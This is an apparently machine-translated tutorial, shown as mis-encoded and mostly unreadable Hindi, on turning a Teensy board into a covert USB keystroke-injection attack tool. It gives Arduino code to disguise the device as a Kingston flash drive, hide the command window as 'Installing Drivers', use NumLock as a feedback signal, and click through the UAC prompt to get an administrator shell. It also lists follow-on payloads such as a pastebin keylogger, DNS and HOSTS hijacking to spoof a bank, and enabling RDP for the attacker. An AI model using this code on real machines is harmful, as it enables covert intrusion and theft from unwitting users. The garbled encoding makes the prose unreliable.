
рд╣рдорд▓реЛрдВ рдХрд╛ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рд╡реЗрдХреНрдЯрд░ рдПрдХ рдорд╛рдирдХ рдпреВрдПрд╕рдмреА рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдпреВрдПрд╕рдмреА рдЫрд┐рдкрд╛рдИ рдХреАрдмреЛрд░реНрдб (рдФрд░ рдорд╛рдЙрд╕) рдПрдореБрд▓реЗрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реИред рдФрд░ рдЕрдЧрд░ рдПрдХ USB рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдкрд░ autofun.inf рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕реАрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рднреА рддрд░рд╣ рдХреИрд╕реЗ рдЦреЛрдЬ рдФрд░ рдирд╖реНрдЯ рдХрд░рдирд╛ рд╣реИ, рддреЛ HID рдПрдореБрд▓реЗрдЯрд░ рдХреЗ рд╕рд╛рде рд╕рдм рдХреБрдЫ рдЕрднреА рднреА рдЦрд░рд╛рдм рд╣реИред
рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдЕрднреА рддрдХ рдЗрд╕ рд╡рд┐рд╖рдп рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рдирд╣реАрдВ рд╣реИрдВ, рдореИрдВ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП "
Arduino рдкрд░ рдХреЙрдореНрдмреИрдЯ HID рдПрдореБрд▓реЗрдЯрд░ " рдкрдврд╝рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреЗрддрд╛ рд╣реВрдВред рдпрд╣рд╛рдВ рдореИрдВ Arduino рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдФрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рдореБрджреНрджреЛрдВ рдкрд░ рдирд╣реАрдВ рдЫреВрдКрдВрдЧрд╛, рдмрд▓реНрдХрд┐, рдореИрдВ рдЖрдкрдХреЛ Peensy (Pentest + Teensy) рдХреЗ рдЙрдиреНрдирдд рдЙрдкрдпреЛрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдереЛрдбрд╝рд╛ рдмрддрд╛рдКрдВрдЧрд╛ред
рд▓реЛрд╣рд╛
рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реА рдмрд╛рдд рдПрдХ Teensy
MicroSD рдЕрдиреБрдХреВрд▓рдХ рдФрд░ DIP рд╕реНрд╡рд┐рдЪ рдЦрд░реАрджрдирд╛ рд╣реИред рдкрд╣рд▓реЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреЗрдиреНрд╕реА рди рдХреЗрд╡рд▓ рдХреАрдмреЛрд░реНрдб рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХреЗ, рдмрд▓реНрдХрд┐ рд╕реНрд╡рдпрдВ рдпреВрдПрд╕рдмреА рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рднреА рдХрд░ рд╕рдХреЗред рдФрд░ USB рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдкрд░ рд░реЗрдбреАрдореЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЕрдзрд┐рдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИ, рд╣рд░ рдмрд╛рд░ рдЙрдиреНрд╣реЗрдВ "рд░реА-рдЯрд╛рдЗрдк" рдХрд░реЗрдВред рдбреАрдЖрдИрдкреА рд╕реНрд╡рд┐рдЪ рд╡рд╛рдВрдЫрд┐рдд рднрд╛рд░ рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧрд╛, рдпрд╛, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ 32-рдмрд┐рдЯ рдФрд░ 64-рдмрд┐рдЯ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдмреАрдЪ рд╕реНрд╡рд┐рдЪ рдХрд░реЗрдВред
рд╕рдорд╛рдкреНрдд рдкреЗрдиреНрд╕реА рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрд╛рдИ рджреЗрдЧреА:

рдЖрдк рддреБрд░рдВрдд
рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдПрдХ
рд░рдмрд░ рдмрддрдЦ рдЦрд░реАрдж рд╕рдХрддреЗ
рд╣реИрдВ ред

рдЫрд┐рдкрддреА рд╣реБрдИ рдкреЗрдиреНрд╕реА
рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреЗрдиреНрд╕реА рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ рдмреНрд▓реЙрдХ рдХрд░рдирд╛ рд╕реАрдЦ рдЪреБрдХреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рд╡реЗ рд╡реЗрдВрдбрд░реЙрдЗрдб рдФрд░ рдкреНрд░реЛрдбрд┐рдб рдХреЗ рдмрдВрдбрд▓ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдРрд╕рд╛ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╣рдо Arduino рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред
рд╣рдо рдлрд╝рд╛рдЗрд▓ \ arduino-1.0.1-windows \ arduino-1.0.1 \ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ \ teeny \ cores \ usb_hid \ usb_pStreet.h рдХреЗ рд▓рд┐рдП рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рдЗрд╕реА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ
рдХрд┐рдВрдЧреНрд╕реНрдЯрди рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдореЗрдВ рдмрджрд▓ рджреЗрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдПред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдлрд╝рд╛рдЗрд▓ рдХреЛ рдиреАрдЪреЗ рд╕реНрдХреНрд░реЙрд▓ рдХрд░реЗрдВ рдФрд░ рдкреИрд░рд╛рдореАрдЯрд░ STR_PRODUCT рдХреЛ "Teensy" рд╕реЗ "Kingston DataTraveler 2Gb" рдореЗрдВ рдмрджрд▓реЗрдВред рдЕрдм, рдкреЗрдиреНрд╕реА рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╕рдордп, рдХреЗрд╡рд▓ рдХрдВрдкреЛрдЬрд┐рдЯ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдбреНрд░рд╛рдЗрд╡рд░ рд╕рд╛рдорд╛рдиреНрдп, рдореЗрдореЛрд░реА рдПрдХ рдХреЗ рдмрдЬрд╛рдп рд╣рдореЗрдВ рдмрд╛рд╣рд░ рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред рд▓реЗрдХрд┐рди рдЗрд╕ рдкрд░ рдзреНрдпрд╛рди рдХреМрди рджреЗрдЧрд╛?
Peensy рдХрд╛ рдореБрдЦреНрдп рдХрд╛рдо cmd рд╡рд┐рдВрдбреЛ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИред рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЬреЛрдбрд╝реА рдЬреЛрдбрд╝рдХрд░, рд╣рдо рдХрдорд╛рдВрдб рд╡рд┐рдВрдбреЛ рдХреЛ рдмрд╣реБрдд рдХрдо рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ:
cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers"

рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЪрд╛рд▓реВ рдХрд░реЗрдВ
рдЯреЗрдиреЗрд╕реА рдХреЗ рдХрд╛рдо рдХрд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рджреЛрд╖ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╕рдВрдЪрд╛рд▓рди рдореЗрдВ рдПрдХ рд╡рд┐рд╢рд╛рд▓ рджреЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдерд╛, рдЬреЛ рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреА рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдерд╛ред рдХреМрдЯрд┐рд▓реНрдп рдврд╛рдВрдЪреЗ рдореЗрдВ, рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╡рд┐рд▓рдВрдм рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 25 рд╕реЗрдХрдВрдб рд╣реИред 25 рд╕реЗрдХрдВрдб рдореЗрдВ, рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ "USB рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡" рдкрд░ рдПрдХ рд╕рд╣рдпреЛрдЧреА рд╕реЗ "рдЖрд╡рд╢реНрдпрдХ рджрд╕реНрддрд╛рд╡реЗрдЬ" рдХреЛ рдлреЗрдВрдХрдиреЗ рдФрд░ рдЗрд╕реЗ рдмрдВрдж рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдФрд░ рдЕрдЧрд░ рдбреНрд░рд╛рдЗрд╡рд░ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдХрд╣реЛ, 30 рд╕реЗрдХрдВрдб рдореЗрдВ, рддреЛ рд╕реАрдПрдордбреА рд╡рд┐рдВрдбреЛ рдХреЗ рдмрдЬрд╛рдп, рдкреЗрдиреНрд╕реА рдЕрдкрдиреА рд▓рдбрд╝рд╛рдИ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реАрдзреЗ рдЦреБрд▓реЗ рд╡рд░реНрдб рд╡рд┐рдВрдбреЛ рдореЗрдВ рдбрд╛рд▓ рджреЗрдЧрд╛ред
рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреА рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╕реНрдерд╛рдкрдирд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рдХрдореА рдФрд░ рд╡рд┐рд╢рд╛рд▓ рджреЗрд░реА рдиреЗ рдкреЗрдиреЗрд╕реА рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЛ рдХрд╛рдлреА рдХрдо рдХрд░ рджрд┐рдпрд╛ ... рдЬрдм рддрдХ рд╡реЗ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдиреНрдпреВрдореЙрдХ рдХреЗ рд╕рд╛рде рдирд╣реАрдВ рдЖрдП!
рдЬрдм рдЖрдк NumLock рдХреБрдВрдЬреА рджрдмрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдХреАрдмреЛрд░реНрдб рдХреЛ рд╕рдВрдмрдВрдзрд┐рдд рдбрд╛рдпреЛрдб рдХреЛ рд▓рд╛рдЗрдЯ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрджреЗрд╢ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреЗрдиреНрд╕реА рдХреЛрдб рдореЗрдВ рдлреАрдбрдмреИрдХ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рд╣рдо рдкреЗрдиреНрд╕реА рдиреНрдпреВрдореЙрдХ рдХреБрдВрдЬреА рдХреЛ рджрдмрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП 25 рд╕реЗрдХрдВрдб рдХреА рджреЗрд░реА рдХреЛ рдмрджрд▓рддреЗ рд╣реИрдВред
int ledkeys(void) {return int(keyboard_leds);} bool is_num_on(void) {return ((ledkeys() & 1) == 1) ? true : false;} void wait_for_drivers() { bool numLockTrap = is_num_on(); while(numLockTrap == is_num_on()) // NumLock { Keyboard.set_key1(KEY_NUM_LOCK); Keyboard.send_now(); // NumLock delay(200); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); // delay(200); } }
рдЕрдм рд╣рдо рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдкрд░ PowerShell рд╕реНрдерд╛рдкрд┐рдд рд╣реИ рдпрд╛ рдирд╣реАрдВред
рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ NumLock рдмрдВрдж рд╣реИ
if (is_num_on()) { delay(500); Keyboard.set_key1(KEY_NUM_LOCK); Keyboard.send_now(); delay(700); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(500); }
рдЗрд╕реЗ PowerShell рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд╛рд▓реВ рдХрд░реЗрдВ (cmd рдЦреБрд▓рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП)
Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{NUMLOCK}\"' > numlock.vbs"); delay(400); Keyboard.println("cscript numlock.vbs"); delay(400);
рдЕрдм рдпрд╣ рдХреЗрд╡рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдпрд╛ рди рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП is_num_on () рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ NumLock рдХреА рд╕реНрдерд┐рддрд┐ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╣реБрдЖ рд╣реИред
рдиреНрдпреВрдХреНрд▓реЙрдХ (рд╕рд╛рде рд╣реА рдХреИрдкреНрд╕ рдФрд░ рд╕реНрдХреНрд░реЙрд▓ рд▓реЙрдХ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪреЗрдХ рдХреЛ рдкреЗрдиреНрд╕реА рдХреЛрдб рдХреЗ рдХрд┐рд╕реА рднреА рд╣рд┐рд╕реНрд╕реЗ рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ рд╕реАрдПрдордбреА рд╡рд┐рдВрдбреЛ рд╕реЗ рдлреЛрдХрд╕ рд╣рдЯрд╛ рджрд┐рдпрд╛ рд╣реИ, рдЕрдЧрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░рддреА рд╣реИ, рдЖрджрд┐ред
рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдЪрд▓рд╛рдПрдВ
рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ WinKey рдХреЛ рджрдмрд╛рдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИ, "cmd" рдореЗрдВ рдбреНрд░рд╛рдЗрд╡ рдХрд░реЗрдВ, Ctrl + Shift + Enter рджрдмрд╛рдПрдВ рдФрд░ рджрд┐рдЦрд╛рдИ рджрд┐рдП рдЧрдП UAC рд╡рд┐рдВрдбреЛ рдкреНрд░реЗрд╕ "рдмрд╛рдПрдВ" + рджрд░реНрдЬ рдХрд░реЗрдВред
Peensy рдХреЛрдб рдореЗрдВ, рдпрд╣ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦреЗрдЧрд╛:
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); Keyboard.send_now(); // WinKey delay(400); Keyboard.set_modifier(0); Keyboard.send_now(); // delay(100); Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\" "); // cmd delay(400); Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.send_now(); Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); Keyboard.send_now(); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); // cmd delay(400); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); // ctrl+shift+enter delay(400); Keyboard.set_key1(KEY_LEFT); Keyboard.send_now(); // delay(100); Keyboard.set_key1(0); Keyboard.send_now(); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); // enter delay(100); Keyboard.set_key1(0); Keyboard.send_now();
рдпрд╣ рдХреЛрдб 2 рд╕реЗрдХрдВрдб рдореЗрдВ рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рдЖрдк 1 рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдкреЗрдиреНрд╕реА рдХреЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рдХрд╛рд░реНрдпрднрд╛рд░ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕рднреА рдХреАрд╕реНрдЯреНрд░реЛрдХреНрд╕ рдХреЛ рдкрд╛рд╕реНрдЯрд┐рдмрд┐рди рднреЗрдЬрдиреЗ рдХреЗ рд╕рд╛рде рдПрдХ keylogger) рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдЪреБрдкрдЪрд╛рдк рдЪрд▓реЗрдЧрд╛ред
рдпрджрд┐ рдпрд╣ рд╡рд┐рд╖рдп рдЕрднрд┐рд░реБрдЪрд┐ рдХрд╛ рд╣рд┐рдд рд╣реИ, рддреЛ рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓реЗрдЦреЛрдВ рдореЗрдВ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рд▓рд┐рдкрд┐рдпреЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реВрдВрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╕реНрдХреНрд░рд┐рдкреНрдЯ
рдХреЛ рд▓реЗрдЦрдХ рдХреМрдЯрд┐рд▓реНрдп рдирд┐рдЦрд┐рд▓ рдорд┐рддреНрддрд▓ рдХреЗ
рдмреНрд▓реЙрдЧ рд╕реЗ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдЕрдзреНрдпрдпрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдирд┐рд╖реНрдХрд░реНрд╖
рдкреЗрдиреНрд╕реА рдХреЗ рд╕реНрдкреЗрдХреНрдЯреНрд░рдо рдФрд░ рд╕рдВрднрд╛рд╡рдирд╛рдПрдВ рд╣рд░ рджрд┐рди рдмрдврд╝ рд░рд╣реА рд╣реИрдВред рддреЗрдЬреА рд╕реЗ рдЖрдзреБрдирд┐рдХ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░, рдкреЗрдиреНрд╕реА рд╕реЗрдХрдВрдб рдореЗрдВ рдЕрдкрдиреЗ рд▓реЛрдб рдХреЛ рдХрдо рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдЗрд╕ рдЧреБрдкреНрдд рддрд░реАрдХреЗ рд╕реЗ рдкрд░реНрдпрд╛рдкреНрдд рд░реВрдк рд╕реЗ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рдкреАрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рдирд╣реАрдВ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
NumLock рдФрд░ / рдпрд╛ ScrollLock рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдЖрдкрдХреЛ рдЕрдиреБрдХреВрд▓реА рдФрд░ рджреЛрд╖-рд╕рд╣рд┐рд╖реНрдгреБ рднрд╛рд░ рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред PowerShell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рд╣реЛрддрд╛ рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, PowerShell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛:
- рдПрдХ рдЫреБрдкреА рд╣реБрдИ рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░ рд╡рд┐рдВрдбреЛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ pastebin.com рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЬрд╛рдирдХрд╛рд░реА / рд╕рд╛рдордЧреНрд░реА рднреЗрдЬреЗрдВ;
- DNS рд╕рд░реНрд╡рд░ рдХреЛ рдмрджрд▓реЗрдВ (рдЬреЛ рдЖрдкрдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЗрдВрдЯрд░рдиреЗрдЯ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛);
- рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдЪрд▓рд╛рдПрдВ;
- HOSTS рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (рд╡реЗрдм тАЛтАЛрдкреЗрдЬ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдЧреНрд░рд╛рд╣рдХ рдмреИрдВрдХ);
- рдЖрд░рдбреАрдкреА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ;
- рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ keylogger рдпрд╛ рд╕реНрдирд┐рдлрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ;
- рджрд┐рдП рдЧрдП рдорд╛рдкрджрдВрдбреЛрдВ, рдЖрджрд┐ рдХреЗ рд╕рд╛рде рд╡рд╛рдИрдлрд╝рд╛рдИ рдкрд╣реБрдВрдЪ рдмрд┐рдВрджреБ рдмрдврд╝рд╛рдПрдВред
рдпрд╣рд╛рдВ Teensy рдХрд╛ рдПрдХ рдЫреЛрдЯрд╛ рдкреНрд░рджрд░реНрд╢рди рд╣реИ, рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдорд╢реАрди рдкрд░ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдиреЛрдЯрдкреИрдб рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЛрдб рд╣реИред
рдФрд░ рдХреНрдпрд╛ рдкрдврд╝рдирд╛ рд╣реИ?